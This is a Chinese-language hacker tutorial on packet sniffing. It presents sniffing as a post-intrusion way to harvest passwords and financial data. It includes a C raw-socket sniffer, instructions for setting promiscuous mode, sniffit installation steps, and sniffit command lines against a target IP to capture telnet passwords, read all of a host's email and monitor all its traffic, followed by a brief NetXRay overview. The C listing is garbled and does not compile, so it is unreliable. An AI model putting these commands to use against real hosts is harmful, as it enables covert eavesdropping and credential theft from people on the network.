sniffer可以分為兩類一個是硬件的一個軟件的,今天給大家講的主要是軟件的sniffer.sniffer只能抓取一個物理網段的包,就是說你和監聽的目標中間不能有路由(交換)或其他屏蔽廣播包的設備,這一點很重要。所以對一般撥號上網的用戶來說,是不可能利用sniffer來竊聽到其他人的通信內容的!
sniffer屬于第二層次的攻擊。就是說只有在攻擊者已經進入了目標系統的情況下,才能使用sniffer這中攻擊手段,以便得到更多的信息。sniffer除了能得到口令或用戶名外,還能得到更多的其他的信息,比如一個其他重要的信息,在網上轉送的金融信息等等。sniffer幾乎能得到任何在以太網上轉送的數據包。sniffer是一中比較復雜的攻擊手段,一般只有黑客老手才有能力使用他(其實只要了解了也可以去試試我就是常常練習才知道!)而對于一個網絡新手來說,即使在一臺主機上成功地編譯并運行了sinffer,一般也不會得到什么有用的信息。因為通常網絡上的信息流量是相當大的,如果不加選繹的接收所有的包,然后要從中找到所需要的信息是非常的困難的,而且如果長時間地進行監聽,還有可能把放置sniffer的機器的硬盤撐爆!
現在給大家看一個C程序,它可以完成一般的監聽功能,是注解!
#include
#include
#include
struct ip {
unsigend int ip_length:4;
unsigend int ip_version:4;
unsigend char ip_tos;
unsigend short ip_total_length;
unsigend short ip_id;
unsigend short ip_flags;
unsigend char ip_ttl;
unsigend char ip_protocol;
unsigend short ip_sksum;
unsigend int ip_source;
unsigend int ip_dest;
}
struct tcp {
unsigend short tcp_source_port;
unsigend short tcp_dest_port
unsigend int tcp_seqno;
unsigend int tcp_ackno;
unsigend int tcp_resl:4;
tcp_hlen:4,
tcp_fin:1,
tcp_syn:1,
tcp_rst:1,
tcp_psh:1,
tcp_ack:1,
tcp_urg:1,
tcp_res:2,
unsigend short tcp_winsize;
unsigend short tcp_cksum;
unsigend short tcp_urgent;
}
int main()
{
int sock, bytes_recieved,fromlen;
char buffer[65535];
struct sockaddr_in from;
struct ip ip;
struct tcp *tcp
sock = socket(AF_INET,SOCK,IPPROTO_TCP)
while(1)
{
fromlen=sizeof from;
bytes_recieved=recvfrom(sock,buffer,sizeofbuffer,0,(struct sockaddr*)&from,&fromlen);
printf("\nByets received ::: %4d\n",bytes_recieved);
printf("Source address:::%s\n",inet_ntoa(ftom.sin_addr);
ip=(struct ip*)buffer;
printf("IP header length:::%d\n",ip->ip_length);
printf("Protocol:::%d\n",ip->ip_potocol);
tcp=(struct tcp*)(buffer+(4*ip->ip_length);
printf("Source potr:::%d\n",ntohs(tcp->tcp_source_port)
prinft("Dest potr:::%d\n",ntohs(tcp->tcp_dest_port)
}
以上這個C程序是為了說明sniffer的接收原理而列舉的一個最簡單的列子,它這是完成了sniffer的接收功能,在運行之前我們還需要手工把網卡設置為混雜模式,在root權限下用命令設置:
ifconfig eth0 promisc
假設eth0是你的以太網設備接口,然后運行編譯好的程序清單(就是上面的C程序)就可以看到接受的數據包了!(重要消息:這個程序的功能太簡單,只能顯示源地址,目標地址和源端口,目標端口等極為簡單的信息,對于你來說沒有用但是你可以改一下)
現在來看看**的sniffer程序
sniffit 可以運行在linux Solaris SGI NT等各種平臺運行的網絡監聽軟件,他主要針對的是TCP/IP協議的不安全性,對運行該協議的計算機進行監聽。
安裝
跟我來一步一步走別跑掉了嘻嘻!跑掉了別怪我呀!
1。用tat zvfx sniffit.*.*.*.tgz將下載的sniffit.*.*.*.tgz解壓縮到你想要的目的文件夾,如果版本是。0。3。7的話,你會看到該目錄下出現一個sniffit。0。3。7的目錄。
2。打開sniffit。0。3。7的目錄
3。執行/configure && make命令,只要在個過程中終端上沒有意外的錯誤提示信息出現,就算編譯成功了,然后就可以得到一個二進制的sniffit文件,直接運行他即可!
4。最后使用make clean命令清除掉臨時文件。
sniffit的使用方法
sniffit的命令
選項 作用
-V 顯示版本信息
-t
-s
-i 顯示出窗口界面,能查出當前 在所屬網絡上進行連接的機器
-l 擴展的交互模式,忽略所以其他選項,比-L強大的多
-c
-F
-n 顯示出假的數據包,如果使用ARP,RARP或者其他不是IP的數據包也會顯示出來
-N 只運行plugin時的選項,使其他選項失效
使用示列
假設在一個子網中有兩臺主機,一臺運行了sniffit,為sniffit.com另一臺的IP地址是192.168.0.1我把他稱為xxx.com按下列步驟操作!
1,檢查sniffit能否運行;
sniffit~/#sniffit -d -p 7 -t 192.168.0.1
并且打開另外一個窗口;
sniffit~/$telnet xxx.com
sniffit~/#sniffit -p 21 -l 0 -t 192.168.0.1
應該可以看到sniffit將遠程登陸到對方7號端口echo服務的包捕獲。
2,截獲xxx.com上的用戶密碼
sniffit:~/#sniffit -p 23 -t 192.168.0.1
意思就是監聽23端口包
3,如果xxx.com主機的根用戶聲稱有陌生的FTP連接并且希望記錄其動作
sniffit:~/3 sniffit -p 21 -l 0 -t 192.168.0.1
4,閱讀所有進出xxx.com的信件
sniffit:~/# sniffit -p 25 -l 0 -b -t 192.168.0.1&
或者sniffit:~/#- sniffit -p 25 -l0 -b -s 192.168.0.1&
5,監聽所以從192.168.0.1進出的包,對其行完全監視
sniffit:~/# sniffit -P ipicmptcp -p 0 -b -a -d -x -s 192.168.0.1
6,用more 192*命令讀取用下列方式記錄的密碼:
sniffit:~/# sniffit -p 23 -A .-t 192.168.0.1
哎好難寫呀!現在改給大家一個WIN下的嗅探器了呀!因為win普遍是的嗎HOHO
NetXRay
NetXRay的功能主要分為三大類
1,接收并分析數據包
2,傳送數據包功能
3,網路管理監看的功能
NetXRay的第三個功能是網絡管理監看,網絡管理功能中一共有7個按鈕。現在給大家介紹一下把!
DashBoard按鈕:將子網下的流量以簡要的形式顯示出來
HostTable按鈕:觀察子網下每臺主機的網絡流量情況
Matrix按鈕:觀察子網下主機與主機之間的流量情況
History按鈕:將網絡上的數據以圖表的方式顯示
Protocal Distribution按鈕:分析網絡上各種通信協議的分布情況
Alarm LOG按鈕:設定網絡狀況警告
Addree Book按鈕:設定主機資料
由于時間的問題我就在這里介紹一下DashBoard按鈕的用法,(哇絕對又有用說我偷懶了,請大家原諒我還是學生沒很多時間接觸計算機所以就……等我放假了給大家更好的教材行不!)
對于其他的按鈕的詳細資料大家可以去http://216.239.33.102找找!
DashBoard按鈕用來以簡要的形式顯示子網上的流量,單擊后會出現一個圖形界面很像汽車的油門表一樣的東西(沒時間給大家抓圖了請原諒)
其中,Packets行表示到目前為止共有多少數據包,Broadcasts行標稱有多少個廣播的數據包,Multucasts行表示有多少個播數據包,Bytes行表示共有多少字節的數據在你的子網中傳輸,Errors行表示網絡中錯誤發生的次數。
哎寫了這么多關于sniffer的介紹情況,現在大家應該對sniffer有些了解了把!
由于我文采不怎么好,或者有什么錯誤和不足的地方請大家提出建議來!我的QQ:193480
E-mailHeiKeAngel@54Hack.Com
永遠的HeiKeAngel